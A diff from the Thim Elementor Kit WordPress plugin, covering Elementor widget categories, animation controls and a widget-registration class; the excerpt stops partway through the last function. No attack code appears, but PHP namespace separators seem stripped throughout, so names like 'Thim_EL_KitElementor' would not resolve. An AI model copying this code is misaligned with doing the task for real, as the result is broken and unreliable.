+			'thim_ekit_elementor_category',
+			array(
+				self::CATEGORY_ARCHIVE_POST       => array(
+					'title' => esc_html__( 'Thim Archive Post', 'thim-elementor-kit' ),
+					'icon'  => 'fa fa-plug',
+				),
+				self::CATEGORY_SINGLE_POST        => array(
+					'title' => esc_html__( 'Thim Single Post', 'thim-elementor-kit' ),
+					'icon'  => 'fa fa-plug',
+				),
+				self::CATEGORY_ARCHIVE_PRODUCT    => array(
+					'title' => esc_html__( 'Thim Archive Product', 'thim-elementor-kit' ),
+					'icon'  => 'fa fa-plug',
+				),
+				self::CATEGORY_SINGLE_PRODUCT     => array(
+					'title' => esc_html__( 'Thim Single Product', 'thim-elementor-kit' ),
+					'icon'  => 'fa fa-plug',
+				),
+				self::CATEGORY_ARCHIVE_COURSE     => array(
+					'title' => esc_html__( 'Thim Archive Course', 'thim-elementor-kit' ),
+					'icon'  => 'fa fa-plug',
+				),
+				self::CATEGORY_SINGLE_COURSE      => array(
+					'title' => esc_html__( 'Thim Single Course', 'thim-elementor-kit' ),
+					'icon'  => 'fa fa-plug',
+				),
+				self::CATEGORY_SINGLE_COURSE_ITEM => array(
+					'title' => esc_html__( 'Thim Single Course Item', 'thim-elementor-kit' ),
+					'icon'  => 'fa fa-plug',
+				),
+				self::CATEGORY_RECOMMENDED        => array(
+					'title' => esc_html__( 'Thim Recommended', 'thim-elementor-kit' ),
+					'icon'  => 'fa fa-plug',
+				),
+				self::CATEGORY                    => array(
+					'title' => esc_html__( 'Thim Basic', 'thim-elementor-kit' ),
+					'icon'  => 'fa fa-plug',
+				),
+			)
+		);
+
+		$old_categories = $elements_manager->get_categories();
+		$categories     = array_merge( $categories, $old_categories );
+
+		$set_categories = function ( $categories ) {
+			$this->categories = $categories;
+		};
+
+		$set_categories->call( $elements_manager, $categories );
+	}
+
+	public function register_controls( $controls_manager ) {
+		$controls_manager->register( new Thim_EL_KitElementorControlsAutocomplete() );
+		$controls_manager->register( new Thim_EL_KitElementorControlsImage_Select() );
+		$controls_manager->register( new Thim_EL_KitElementorControlsSelect2() );
+	}
+
+	public function register_widgets( $widgets_manager ) {
+		return Thim_EL_KitElementorWidgets::instance()->register_widgets( $widgets_manager );
+	}
+
+	public static function get_cat_taxonomy( $taxomony = 'category', $cats = false, $id = true ) {
+		if ( ! $cats ) {
+			$cats = array();
+		}
+		$terms = new WP_Term_Query(
+			array(
+				'taxonomy'     => $taxomony,
+				'pad_counts'   => 1,
+				'hierarchical' => 1,
+				'hide_empty'   => 1,
+				'orderby'      => 'name',
+				'menu_order'   => true,
+			)
+		);
+
+		if ( is_wp_error( $terms ) ) {
+		} elseif ( empty( $terms->terms ) ) {
+		} else {
+			foreach ( $terms->terms as $term ) {
+				$prefix = '';
+				if ( $term->parent > 0 ) {
+					$prefix = '--';
+				}
+				if ( $id ) {
+					$cats[ $term->term_id ] = $prefix . $term->name;
+				} else {
+					$cats[ $term->slug ] = $prefix . $term->name;
+				}
+			}
+		}
+
+		return $cats;
+	}
+
+	public static function register_options_courses_meta_data() {
+		$opt                  = array();
+		$opt['duration']      = esc_html__( 'Duration', 'thim-elementor-kit' );
+		$opt['level']         = esc_html__( 'Level', 'thim-elementor-kit' );
+		$opt['count_lesson']  = esc_html__( 'Count Lesson', 'thim-elementor-kit' );
+		$opt['count_quiz']    = esc_html__( 'Count Quiz', 'thim-elementor-kit' );
+		$opt['count_student'] = esc_html__( 'Count Student', 'thim-elementor-kit' );
+		$opt['instructor']    = esc_html__( 'Instructor', 'thim-elementor-kit' );
+		$opt['category']      = esc_html__( 'Category', 'thim-elementor-kit' );
+		$opt['tag']           = esc_html__( 'Tag', 'thim-elementor-kit' );
+		$opt['price']         = esc_html__( 'Price', 'thim-elementor-kit' );
+
+		return apply_filters( 'learn-thim-kits-lp-meta-data', $opt );
+	}
+
+	public static function register_option_dynamic_tags_item_terms() {
+		$options = [ '' => esc_html__( 'Select...', 'thim-elementor-kit' ), ];
+
+		$options['category'] = esc_html__( 'Categories', 'thim-elementor-kit' );
+		$options['tags']     = esc_html__( 'Tags', 'thim-elementor-kit' );
+
+		if ( class_exists( 'LearnPress' ) ) {
+			$options['course_category'] = esc_html__( 'Course categories', 'thim-elementor-kit' );
+			$options['course_tag']      = esc_html__( 'Course tags', 'thim-elementor-kit' );
+		}
+
+		if ( class_exists( 'WooCommerce' ) ) {
+			$options['product_cat']   = esc_html__( 'Product categories', 'thim-elementor-kit' );
+			$options['product_tag']   = esc_html__( 'Product tags', 'thim-elementor-kit' );
+			$options['product_brand'] = esc_html__( 'Product brands', 'thim-elementor-kit' );
+		}
+
+		return apply_filters( 'thim-ekitsdynamic-tagsitem-terms', $options );
+	}
+
+	public function get_tab_options() {
+		$tab_options = array(
+			'overview'   => esc_html__( 'Overview', 'thim-elementor-kit' ),
+			'curriculum' => esc_html__( 'Curriculum', 'thim-elementor-kit' ),
+			'faqs'       => esc_html__( 'FAQs', 'thim-elementor-kit' ),
+			'instructor' => esc_html__( 'Instructor', 'thim-elementor-kit' ),
+			'materials'  => esc_html__( 'Materials', 'learnpress' ),
+		);
+
+		if ( class_exists( 'LP_Addon_Announcements' ) ) {
+			$tab_options['announcements'] = esc_html__( 'Announcements', 'thim-elementor-kit' );
+		}
+
+		if ( class_exists( 'LP_Addon_Course_Review' ) ) {
+			$tab_options['reviews'] = esc_html__( 'Reviews', 'thim-elementor-kit' );
+		}
+
+		if ( class_exists( 'LP_Addon_Students_List' ) ) {
+			$tab_options['students-list'] = esc_html__( 'Students List', 'thim-elementor-kit' );
+		}
+
+		if ( class_exists( 'LP_Addon_Upsell_Preload' ) ) {
+			$tab_options['package'] = esc_html__( 'Package', 'thim-elementor-kit' );
+		}
+
+		return apply_filters( 'thim_ekits_learnpress_tab_options', $tab_options );
+	}
+
+	public function register_callback_ajax( $callbacks ) {
+		$callbacks[] = 'ElementorThim_Ekit_Widget_Archive_Course:render_courses';
+
+		return $callbacks;
+	}
+
+	/**
+	 *
+	 * extra animation
+	 *
+	 * @since  1.0.0
+	 * @access public
+	 */
+	public function extra_animations() {
+		$extra_animations = array(
+			__( 'Thim eKit Animations', 'thim-elementor-kit' ) => [
+				'ekit--scale'       => __( 'Scale', 'thim-elementor-kit' ),
+				'ekit--fancy'       => __( 'Fancy', 'thim-elementor-kit' ),
+				'ekit--slide-up'    => __( 'Slide Up', 'thim-elementor-kit' ),
+				'ekit--slide-left'  => __( 'Slide Left', 'thim-elementor-kit' ),
+				'ekit--slide-right' => __( 'Slide Right', 'thim-elementor-kit' ),
+				'ekit--slide-down'  => __( 'Slide Down', 'thim-elementor-kit' )
+			]
+		);
+
+		return $extra_animations;
+	}
+
+	public function register_extral_animation_controls( $element ) {
+		if ( $element->get_name() !== 'common' ) {
+			$element->start_controls_section(
+				'animation_section',
+				[
+					'label' => __( 'Thim: Animation', 'thim-elementor-kit' ),
+					'tab'   => Controls_Manager::TAB_ADVANCED
+				]
+			);
+			$element->add_control(
+				'animation_type',
+				[
+					'label'       => __( 'Animation Type', 'thim-elementor-kit' ),
+					'type'        => Controls_Manager::SELECT,
+					'label_block' => true,
+					'default'     => '',
+					'options'     => [
+						''                   => __( 'None', 'thim-elementor-kit' ),
+						'transform-animated' => __( 'Transform Animated', 'thim-elementor-kit' ),
+						'infinite-animation' => __( 'Animation', 'thim-elementor-kit' ),
+					]
+				]
+			);
+			$element->add_control(
+				'transform_animated_type',
+				[
+					'label'     => __( 'Type', 'thim-elementor-kit' ),
+					'type'      => Controls_Manager::SELECT,
+					'default'   => '',
+					'options'   => [
+						''                          => __( 'Select Animation', 'thim-elementor-kit' ),
+						'ekit-animated-transform-1' => __( 'Transform 1', 'thim-elementor-kit' ),
+						'ekit-animated-transform-2' => __( 'Transform 2', 'thim-elementor-kit' ),
+						'ekit-animated-transform-3' => __( 'Transform 3', 'thim-elementor-kit' ),
+						'ekit-animated-transform-4' => __( 'Transform 4', 'thim-elementor-kit' ),
+						'ekit-animated-transform-5' => __( 'Transform 5', 'thim-elementor-kit' ),
+					],
+					'selectors' => [
+						'{{WRAPPER}} > div' =>
+							'-webkit-animation: {{VALUE}} 10s infinite;
+							-moz-animation: {{VALUE}} 10s infinite;
+							-ms-animation: {{VALUE}} 10s infinite;
+							-o-animation: {{VALUE}} 10s infinite;
+							animation: {{VALUE}} 10s infinite;
+							overflow: hidden;'
+					],
+					'condition' => [
+						'animation_type' => 'transform-animated'
+					]
+				]
+			);
+
+			$element->add_control(
+				'infinite_animation_type',
+				[
+					'label'     => __( 'Animation Type', 'thim-elementor-kit' ),
+					'type'      => Controls_Manager::SELECT,
+					'options'   => [
+						''                        => __( 'Select Animation', 'thim-elementor-kit' ),
+						'ekit-circle-small'       => __( 'Circle Small', 'thim-elementor-kit' ),
+						'ekit-circle-medium'      => __( 'Circle Medium', 'thim-elementor-kit' ),
+						'ekit-circle-large'       => __( 'Circle Large', 'thim-elementor-kit' ),
+						'ekit-fade-in-out'        => __( 'Fade In Out', 'thim-elementor-kit' ),
+						'ekit-flipX'              => __( 'flipX', 'thim-elementor-kit' ),
+						'ekit-flipY'              => __( 'flipY', 'thim-elementor-kit' ),
+						'ekit-vsm-y-move'         => __( 'Move Y Very Small', 'thim-elementor-kit' ),
+						'ekit-vsm-y-reverse-move' => __( 'Move Y Very Small ( Reverse )', 'thim-elementor-kit' ),
+						'ekit-sm-y-move'          => __( 'Move Y Small', 'thim-elementor-kit' ),
+						'ekit-md-y-move'          => __( 'Move Y Medium', 'thim-elementor-kit' ),
+						'ekit-lg-y-move'          => __( 'Move Y Large', 'thim-elementor-kit' ),
+						'ekit-sm-x-move'         => __( 'Move X Small', 'thim-elementor-kit' ),
+						'ekit-md-x-move'          => __( 'Move X Medium', 'thim-elementor-kit' ),
+						'ekit-lg-x-move'          => __( 'Move X Large', 'thim-elementor-kit' ),
+						'ekit-sm-xy-move'         => __( 'Move XY Small', 'thim-elementor-kit' ),
+						'ekit-md-xy-move'         => __( 'Move XY Medium', 'thim-elementor-kit' ),
+						'ekit-lg-xy-move'         => __( 'Move XY Large', 'thim-elementor-kit' ),
+						'ekit-sm-yx-move'         => __( 'Move YX Small', 'thim-elementor-kit' ),
+						// 5s alternate infinite linear
+						'ekit-md-yx-move'         => __( 'Move YX Medium', 'thim-elementor-kit' ),
+						'ekit-lg-yx-move'         => __( 'Move YX Large', 'thim-elementor-kit' ),
+						'ekit-rotate-x'           => __( 'Rotate X', 'thim-elementor-kit' ),
+						'ekit-rotate-y'           => __( 'Rotate Y', 'thim-elementor-kit' ),
+						'ekit-swing'              => __( 'Swing', 'thim-elementor-kit' ),
+						'ekit-spinners'           => __( 'Spinners', 'thim-elementor-kit' ),
+						'ekit-zoom-in-out'        => __( 'Zoom In Out', 'thim-elementor-kit' ),
+					],
+					'selectors' => [
+						'{{WRAPPER}} > div' => '
+							-webkit-animation: {{VALUE}} 2s;
+							 -moz-animation: {{VALUE}} 2s;
+							 -ms-animation: {{VALUE}} 2s;
+							 -o-animation: {{VALUE}} 2s;
+							 animation: {{VALUE}} 2s;'
+					],
+					'condition' => [
+						'animation_type' => 'infinite-animation'
+					]
+				]
+			);
+
+			$element->add_control(
+				'enable_custom_duration',
+				[
+					'label'     => __( 'Custom Animation Duration', 'thim-elementor-kit' ),
+					'type'      => Controls_Manager::SWITCHER,
+					'label_on'  => __( 'Enable', 'thim-elementor-kit' ),
+					'label_off' => __( 'Disable', 'thim-elementor-kit' ),
+					'condition' => [
+						'animation_type' => 'infinite-animation'
+					]
+				]
+			);
+
+			$element->add_responsive_control(
+				'custom_duration',
+				[
+					'label'       => __( 'Set Animation Duration', 'thim-elementor-kit' ),
+					'type'        => Controls_Manager::SLIDER,
+					'range'       => [
+						'px' => [
+							'min'  => 1,
+							'max'  => 35,
+							'step' => 1
+						]
+					],
+					'description' => __( 'Set custom animation duration in second( unit ).', 'thim-elementor-kit' ),
+					'selectors'   => [
+						'{{WRAPPER}} > div' => '-webkit-animation-duration: {{SIZE}}s; -moz-animation-duration: {{SIZE}}s; -ms-animation-duration: {{SIZE}}s; -o-animation-duration: {{SIZE}}s; animation-duration: {{SIZE}}s;'
+					],
+					'condition'   => [
+						'animation_type'         => 'infinite-animation',
+						'enable_custom_duration' => 'yes',
+					]
+				]
+			);
+
+			$element->add_responsive_control(
+				'custom_count',
+				[
+					'label'       => __( 'Set Animation Count', 'thim-elementor-kit' ),
+					'type'        => Controls_Manager::SLIDER,
+					'range'       => [
+						'px' => [
+							'min'  => 1,
+							'max'  => 35,
+							'step' => 1
+						]
+					],
+					'description' => __( 'Sets the number of times an animation sequence should be played before stopping.', 'thim-elementor-kit' ),
+					'selectors'   => [
+						'{{WRAPPER}} > div' => 'animation-iteration-count: {{SIZE}};',
+ 					],
+					'condition'   => [
+						'animation_type'         => 'infinite-animation',
+						'enable_custom_duration' => 'yes',
+					]
+				]
+			);
+
+			$element->add_responsive_control(
+				'item_opacity',
+				[
+					'label'     => __( 'Opacity', 'thim-elementor-kit' ),
+					'type'      => Controls_Manager::SLIDER,
+					'range'     => [
+						'px' => [
+							'max'  => 1,
+							'step' => 0.01
+						]
+					],
+					'selectors' => [
+						'{{WRAPPER}} > div' => 'opacity: {{SIZE}}'
+					]
+				]
+			);
+			$element->end_controls_section();
+		}
+	}
+}
+
+Elementor::instance();
--- a/thim-elementor-kit/inc/elementor/class-widgets.php
+++ b/thim-elementor-kit/inc/elementor/class-widgets.php
@@ -1,301 +1,301 @@
-<?php
-
-namespace Thim_EL_KitElementor;
-
-use LearnPress;
-use Thim_EL_KitSingletonTrait;
-use Thim_EL_KitCustom_Post_Type;
-use Thim_EL_KitSettings;
-use Thim_EL_KitModulesSinglePostInit as SinglePost;
-use Thim_EL_KitModulesArchivePostInit as ArchivePost;
-use Thim_EL_KitModulesArchiveProductInit as ArchiveProduct;
-use Thim_EL_KitModulesSingleProductInit as SingleProduct;
-use Thim_EL_KitModulesArchiveCourseInit as ArchiveCourse;
-use Thim_EL_KitModulesSingleCourseInit as SingleCourse;
-use Thim_EL_KitModulesSingleCourseItemInit as SingleCourseItem;
-
-class Widgets {
-
-	use SingletonTrait;
-
-	const WIDGETS = array(
-		'global'             => array(
-			'nav-menu',
-			'site-logo',
-			'product-base',
-			// 'course-base', // Delete because it error in ajax. Need include in once when use in widget - Nhamdv.
-			'header-info',
-			'social',
-			'social-share',
-			'minicart',
-			'blog-base',
-			'list-blog',
-			'list-course',
-			'list-product',
-			'team',
-			'testimonial',
-			'back-to-top',
-			'contact-form-7',
-			'breadcrumb',
-			'search-form',
-			'categories',
-			'image-accordion',
-			'heading',
-			'button',
-			'tab',
-			'accordion',
-			'slider',
-			'icon-box',
-			'login-popup',
-			'login-form',
-			'instagram',
-			'video',
-			'page-title',
-			'dark-mode',
-			'archive-description',
-			'countdown',
-			'svg-draw',
-			'lottie',
-			'progress-tracker',
-			'course-curriculum',
-		),
-		'archive-post'       => array( 'archive-post' ),
-		'single-post'        => array(
-			'post-title',
-			'post-content',
-			'post-image',
-			'author-box',
-			'post-comment',
-			'post-navigation',
-			'post-info',
-			'post-related',
-			'reading-time-post',
-		),
-		'archive-product'    => array( 'archive-product', 'archive-product-category' ),
-		'single-product'     => array(
-			'product-title',
-			'product-image',
-			'product-price',
-			'product-add-to-cart',
-			'product-rating',
-			'product-notices',
-			'product-meta',
-			'product-short-description',
-			'product-content',
-			'product-tabs',
-			'product-additional-information',
-			'product-related',
-			'product-upsell',
-		),
-		'archive-course'     => array( 'archive-course' ),
-		'single-course'      => array(
-			'course-title',
-			'course-instructor',
-			'course-meta',
-			'course-category',
-			'course-tags',
-			'course-image',
-			'course-price',
-			'course-graduation',
-			'course-user-time',
-			'course-user-progress',
-			'course-tabs',
-			'course-extra',
-			'course-buttons',
-			'course-related',
-			'course-rating',
-			'course-description',
-			'course-offer-end',
-			'course-comment',
-			'course-featured-review',
-			//'course-curriculum',
-		),
-		'single-course-item' => array(
-			'course-item-section',
-			// 'course-title',
-			'course-item-comments',
-			'course-item-progress',
-			'course-item-search-form',
-			'course-item-data',
-			//'course-curriculum',
-			'course-item-nav',
-			'course-close-sidebar',
-			'back-to-course',
-		),
-		'loop-item'          => array(
-			'loop-item-title',
-			'loop-item-excerpt',
-			'loop-item-featured-image',
-			'loop-item-read-more',
-			'loop-item-info',
-			'loop-product-button',
-			'loop-product-countdown',
-			'loop-product-price',
-			'loop-product-ratting',
-			'loop-product-stock',
-			'loop-product-sale',
-			'loop-course-rating',
-			'loop-course-meta',
-			//'loop-course-buttons'
-		),
-	);
-
-	public function widgets() {
-		// Include Elementor widget in here.
-		$widgets = self::WIDGETS;
-
-		global $post;
-
-		if ( ! class_exists( 'WooCommerce' ) ) {
-			unset( $widgets['archive-product'] );
-			unset( $widgets['single-product'] );
-			unset( $widgets['global'][ array_search( 'minicart', $widgets['global'] ) ] );
-			unset( $widgets['global'][ array_search( 'list-product', $widgets['global'] ) ] );
-			unset( $widgets['loop-item'][ array_search( 'loop-product-button', $widgets['loop-item'] ) ] );
-			unset( $widgets['loop-item'][ array_search( 'loop-product-countdown', $widgets['loop-item'] ) ] );
-			unset( $widgets['loop-item'][ array_search( 'loop-product-price', $widgets['loop-item'] ) ] );
-			unset( $widgets['loop-item'][ array_search( 'loop-product-ratting', $widgets['loop-item'] ) ] );
-			unset( $widgets['loop-item'][ array_search( 'loop-product-stock', $widgets['loop-item'] ) ] );
-			unset( $widgets['loop-item'][ array_search( 'loop-product-sale', $widgets['loop-item'] ) ] );
-		}
-
-		if ( ! class_exists( 'LearnPress' ) ) {
-			unset( $widgets['archive-course'] );
-			unset( $widgets['single-course'] );
-			unset( $widgets['single-course-item'] );
-			unset( $widgets['global'][ array_search( 'course-curriculum', $widgets['global'] ) ] );
-			unset( $widgets['global'][ array_search( 'list-course', $widgets['global'] ) ] );
-		}
-
-		if ( ! class_exists( 'LP_Addon_Course_Review_Preload' ) ) {
-			if ( ! empty( $widgets['single-course'] ) ) {
-				unset( $widgets['single-course'][ array_search( 'course-rating', $widgets['single-course'] ) ] );
-			}
-			if ( ! empty( $widgets['loop-item'] ) ) {
-				unset( $widgets['loop-item'][ array_search( 'loop-course-rating', $widgets['loop-item'] ) ] );
-			}
-		}
-		if ( ! class_exists( 'WPCF7' ) ) {
-			unset( $widgets['global'][ array_search( 'contact-form-7', $widgets['global'] ) ] );
-		}
-
-		// Only register archive-post, post-title in Elementor Editor only template.
-		if ( $post && ElementorPlugin::$instance->editor->is_edit_mode() ) {
-			$type = get_post_meta( $post->ID, Custom_Post_Type::TYPE, true );
-			$el_template_tyle = get_post_meta( $post->ID, '_elementor_template_type', true );
-
-			foreach ( $widgets as $key => $widget ) {
-				if ( $el_template_tyle == 'page' ) {
-					continue;
-				}
-				if ( $key === 'archive-post' && $type !== ArchivePost::instance()->tab ) {
-					unset( $widgets['archive-post'] );
-				}
-
-				if ( $key === 'single-post' && $type !== SinglePost::instance()->tab ) {
-					unset( $widgets['single-post'] );
-				}
-
-				if ( class_exists( 'Thim_EL_KitModulesArchiveProductInit' ) &&
-					$key === 'archive-product' && $type !== ArchiveProduct::instance()->tab ) {
-					unset( $widgets['archive-product'] );
-				}
-
-				if ( class_exists( 'Thim_EL_KitModulesSingleProductInit' ) &&
-					$key === 'single-product' && $type !== SingleProduct::instance()->tab ) {
-					unset( $widgets['single-product'] );
-				}
-
-				if ( class_exists( 'Thim_EL_KitModulesArchiveCourseInit' ) &&
-					$key === 'archive-course' && $type !== ArchiveCourse::instance()->tab ) {
-					unset( $widgets['archive-course'] );
-				}
-
-				if ( class_exists( 'Thim_EL_KitModulesSingleCourseInit' ) &&
-					$key === 'single-course' && $type !== SingleCourse::instance()->tab ) {
-					unset( $widgets['single-course'] );
-				}
-
-				if ( class_exists( 'Thim_EL_KitModulesSingleCourseItemInit' ) &&
-					$key === 'single-course-item' && $type !== SingleCourseItem::instance()->tab ) {
-					unset( $widgets['single-course-item'] );
-				}
-			}
-
-			if ( class_exists( 'LearnPress' ) ) {
-				if ( $type !== SingleCourseItem::instance()->tab && $type !== SingleCourse::instance()->tab ) {
-					unset( $widgets['global'][ array_search( 'course-curriculum', $widgets['global'] ) ] );
-				}
-			}
-		}
-
-		$widgets = apply_filters( 'thim_ekit/elementor/widgets/list', $widgets );
-
-		return $widgets;
-	}
-
-	public function register_widgets( $widgets_manager ) {
-		$widgets_all = $this->widgets();
-
-		if ( ! empty( $widgets_all ) ) {
-			foreach ( $widgets_all as $base => $widgets ) {
-				if ( ! empty( $widgets ) ) {
-					foreach ( $widgets as $widget ) {
-						$class = $this->register_widget_class( $base, $widget );
-						$class = apply_filters( 'thim_ekit/elementor/widget/register_widget_class', $class, $widget );
-
-						if ( class_exists( $class ) && ! Settings::instance()->disable_widgets_settings( $widget ) ) {
-							$widgets_manager->register( new $class() );
-						}
-					}
-				}
-			}
-		}
-	}
-
-	public function register_widget_class( $base, $widget ) {
-		$class = ucwords( str_replace( '-', ' ', $widget ) );
-		$class = str_replace( ' ', '_', $class );
-		$class = sprintf( 'ElementorThim_Ekit_Widget_%s', $class );
-
-		if ( ! class_exists( $class ) ) {
-			if ( class_exists( 'LearnPress' ) ) {
-				$lp_version  = LearnPress::instance()->version;
-				$widgets_new = [
-					'archive-course',
-				];
-				if ( version_compare( $lp_version, '4.2.6-beta-0', '>=' ) && in_array( $widget, $widgets_new ) ) {
-					$widget .= '-new';
-				}
-			}
-			$widget_file_url = $widget . '.php';
-
-			$file_function = function ( $file_url ) use ( $base, $widget ) {
-				$file       = apply_filters(
-					'thim_ekit/elementor/widget/file_path',
-					THIM_EKIT_PLUGIN_PATH . 'inc/elementor/widgets/' . $base . '/' . $file_url,
-					$widget
-				);
-				$file_theme = locate_template( 'thim-elementor-kit/' . $file_url );
-
-				if ( file_exists( $file_theme ) ) {
-					$file = $file_theme;
-				}
-
-				return $file;
-			};
-
-			if ( file_exists( $file_function( $widget . '/' . $widget_file_url ) ) ) {
-				$file = $file_function( $widget . '/' . $widget_file_url );
-			} else {
-				$file = $file_function( $widget_file_url );
-			}
-
-			if ( file_exists( $file ) ) {
-				include_once $file;
-			}
-		}
-
-		return $class;
-	}
-}
+<?php
+
+namespace Thim_EL_KitElementor;
+
+use LearnPress;
+use Thim_EL_KitSingletonTrait;
+use Thim_EL_KitCustom_Post_Type;
+use Thim_EL_KitSettings;
+use Thim_EL_KitModulesSinglePostInit as SinglePost;
+use Thim_EL_KitModulesArchivePostInit as ArchivePost;
+use Thim_EL_KitModulesArchiveProductInit as ArchiveProduct;
+use Thim_EL_KitModulesSingleProductInit as SingleProduct;
+use Thim_EL_KitModulesArchiveCourseInit as ArchiveCourse;
+use Thim_EL_KitModulesSingleCourseInit as SingleCourse;
+use Thim_EL_KitModulesSingleCourseItemInit as SingleCourseItem;
+
+class Widgets {
+
+	use SingletonTrait;
+
+	const WIDGETS = array(
+		'global'             => array(
+			'nav-menu',
+			'site-logo',
+			'product-base',
+			// 'course-base', // Delete because it error in ajax. Need include in once when use in widget - Nhamdv.
+			'header-info',
+			'social',
+			'social-share',
+			'minicart',
+			'blog-base',
+			'list-blog',
+			'list-course',
+			'list-product',
+			'team',
+			'testimonial',
+			'back-to-top',
+			'contact-form-7',
+			'breadcrumb',
+			'search-form',
+			'categories',
+			'image-accordion',
+			'heading',
+			'button',
+			'tab',
+			'accordion',
+			'slider',
+			'icon-box',
+			'login-popup',
+			'login-form',
+			'instagram',
+			'video',
+			'page-title',
+			'dark-mode',
+			'archive-description',
+			'countdown',
+			'svg-draw',
+			'lottie',
+			'progress-tracker',
+			'course-curriculum',
+		),
+		'archive-post'       => array( 'archive-post' ),
+		'single-post'        => array(
+			'post-title',
+			'post-content',
+			'post-image',
+			'author-box',
+			'post-comment',
+			'post-navigation',
+			'post-info',
+			'post-related',
+			'reading-time-post',
+		),
+		'archive-product'    => array( 'archive-product', 'archive-product-category' ),
+		'single-product'     => array(
+			'product-title',
+			'product-image',
+			'product-price',
+			'product-add-to-cart',
+			'product-rating',
+			'product-notices',
+			'product-meta',
+			'product-short-description',
+			'product-content',
+			'product-tabs',
+			'product-additional-information',
+			'product-related',
+			'product-upsell',
+		),
+		'archive-course'     => array( 'archive-course' ),
+		'single-course'      => array(
+			'course-title',
+			'course-instructor',
+			'course-meta',
+			'course-category',
+			'course-tags',
+			'course-image',
+			'course-price',
+			'course-graduation',
+			'course-user-time',
+			'course-user-progress',
+			'course-tabs',
+			'course-extra',
+			'course-buttons',
+			'course-related',
+			'course-rating',
+			'course-description',
+			'course-offer-end',
+			'course-comment',
+			'course-featured-review',
+			//'course-curriculum',
+		),
+		'single-course-item' => array(
+			'course-item-section',
+			// 'course-title',
+			'course-item-comments',
+			'course-item-progress',
+			'course-item-search-form',
+			'course-item-data',
+			//'course-curriculum',
+			'course-item-nav',
+			'course-close-sidebar',
+			'back-to-course',
+		),
+		'loop-item'          => array(
+			'loop-item-title',
+			'loop-item-excerpt',
+			'loop-item-featured-image',
+			'loop-item-read-more',
+			'loop-item-info',
+			'loop-product-button',
+			'loop-product-countdown',
+			'loop-product-price',
+			'loop-product-ratting',
+			'loop-product-stock',
+			'loop-product-sale',
+			'loop-course-rating',
+			'loop-course-meta',
+			//'loop-course-buttons'
+		),
+	);
+
+	public function widgets() {
+		// Include Elementor widget in here.
+		$widgets = self::WIDGETS;
+
+		global $post;
+
+		if ( ! class_exists( 'WooCommerce' ) ) {
+			unset( $widgets['archive-product'] );
+			unset( $widgets['single-product'] );
+			unset( $widgets['global'][ array_search( 'minicart', $widgets['global'] ) ] );
+			unset( $widgets['global'][ array_search( 'list-product', $widgets['global'] ) ] );
+			unset( $widgets['loop-item'][ array_search( 'loop-product-button', $widgets['loop-item'] ) ] );
+			unset( $widgets['loop-item'][ array_search( 'loop-product-countdown', $widgets['loop-item'] ) ] );
+			unset( $widgets['loop-item'][ array_search( 'loop-product-price', $widgets['loop-item'] ) ] );
+			unset( $widgets['loop-item'][ array_search( 'loop-product-ratting', $widgets['loop-item'] ) ] );
+			unset( $widgets['loop-item'][ array_search( 'loop-product-stock', $widgets['loop-item'] ) ] );
+			unset( $widgets['loop-item'][ array_search( 'loop-product-sale', $widgets['loop-item'] ) ] );
+		}
+
+		if ( ! class_exists( 'LearnPress' ) ) {
+			unset( $widgets['archive-course'] );
+			unset( $widgets['single-course'] );
+			unset( $widgets['single-course-item'] );
+			unset( $widgets['global'][ array_search( 'course-curriculum', $widgets['global'] ) ] );
+			unset( $widgets['global'][ array_search( 'list-course', $widgets['global'] ) ] );
+		}
+
+		if ( ! class_exists( 'LP_Addon_Course_Review_Preload' ) ) {
+			if ( ! empty( $widgets['single-course'] ) ) {
+				unset( $widgets['single-course'][ array_search( 'course-rating', $widgets['single-course'] ) ] );
+			}
+			if ( ! empty( $widgets['loop-item'] ) ) {
+				unset( $widgets['loop-item'][ array_search( 'loop-course-rating', $widgets['loop-item'] ) ] );
+			}
+		}
+		if ( ! class_exists( 'WPCF7' ) ) {
+			unset( $widgets['global'][ array_search( 'contact-form-7', $widgets['global'] ) ] );
+		}
+
+		// Only register archive-post, post-title in Elementor Editor only template.
+		if ( $post && ElementorPlugin::$instance->editor->is_edit_mode() ) {
+			$type = get_post_meta( $post->ID, Custom_Post_Type::TYPE, true );
+			$el_template_tyle = get_post_meta( $post->ID, '_elementor_template_type', true );
+
+			foreach ( $widgets as $key => $widget ) {
+				if ( $el_template_tyle == 'page' ) {
+					continue;
+				}
+				if ( $key === 'archive-post' && $type !== ArchivePost::instance()->tab ) {
+					unset( $widgets['archive-post'] );
+				}
+
+				if ( $key === 'single-post' && $type !== SinglePost::instance()->tab ) {
+					unset( $widgets['single-post'] );
+				}
+
+				if ( class_exists( 'Thim_EL_KitModulesArchiveProductInit' ) &&
+					$key === 'archive-product' && $type !== ArchiveProduct::instance()->tab ) {
+					unset( $widgets['archive-product'] );
+				}
+
+				if ( class_exists( 'Thim_EL_KitModulesSingleProductInit' ) &&
+					$key === 'single-product' && $type !== SingleProduct::instance()->tab ) {
+					unset( $widgets['single-product'] );
+				}
+
+				if ( class_exists( 'Thim_EL_KitModulesArchiveCourseInit' ) &&
+					$key === 'archive-course' && $type !== ArchiveCourse::instance()->tab ) {
+					unset( $widgets['archive-course'] );
+				}
+
+				if ( class_exists( 'Thim_EL_KitModulesSingleCourseInit' ) &&
+					$key === 'single-course' && $type !== SingleCourse::instance()->tab ) {
+					unset( $widgets['single-course'] );
+				}
+
+				if ( class_exists( 'Thim_EL_KitModulesSingleCourseItemInit' ) &&
+					$key === 'single-course-item' && $type !== SingleCourseItem::instance()->tab ) {
+					unset( $widgets['single-course-item'] );
+				}
+			}
+
+			if ( class_exists( 'LearnPress' ) ) {
+				if ( $type !== SingleCourseItem::instance()->tab && $type !== SingleCourse::instance()->tab ) {
+					unset( $widgets['global'][ array_search( 'course-curriculum', $widgets['global'] ) ] );
+				}
+			}
+		}
+
+		$widgets = apply_filters( 'thim_ekit/elementor/widgets/list', $widgets );
+
+		return $widgets;
+	}
+
+	public function register_widgets( $widgets_manager ) {
+		$widgets_all = $this->widgets();
+
+		if ( ! empty( $widgets_all ) ) {
+			foreach ( $widgets_all as $base => $widgets ) {
+				if ( ! empty( $widgets ) ) {
+					foreach ( $widgets as $widget ) {
+						$class = $this->register_widget_class( $base, $widget );
+						$class = apply_filters( 'thim_ekit/elementor/widget/register_widget_class', $class, $widget );
+
+						if ( class_exists( $class ) && ! Settings::instance()->disable_widgets_settings( $widget ) ) {
+							$widgets_manager->register( new $class() );
+						}
+					}
+				}
+			}
+		}
+	}
+
+	public function register_widget_class( $base, $widget ) {
+		$class = ucwords( str_replace( '-', ' ', $widget ) );
+		$class = str_replace( ' ', '_', $class );
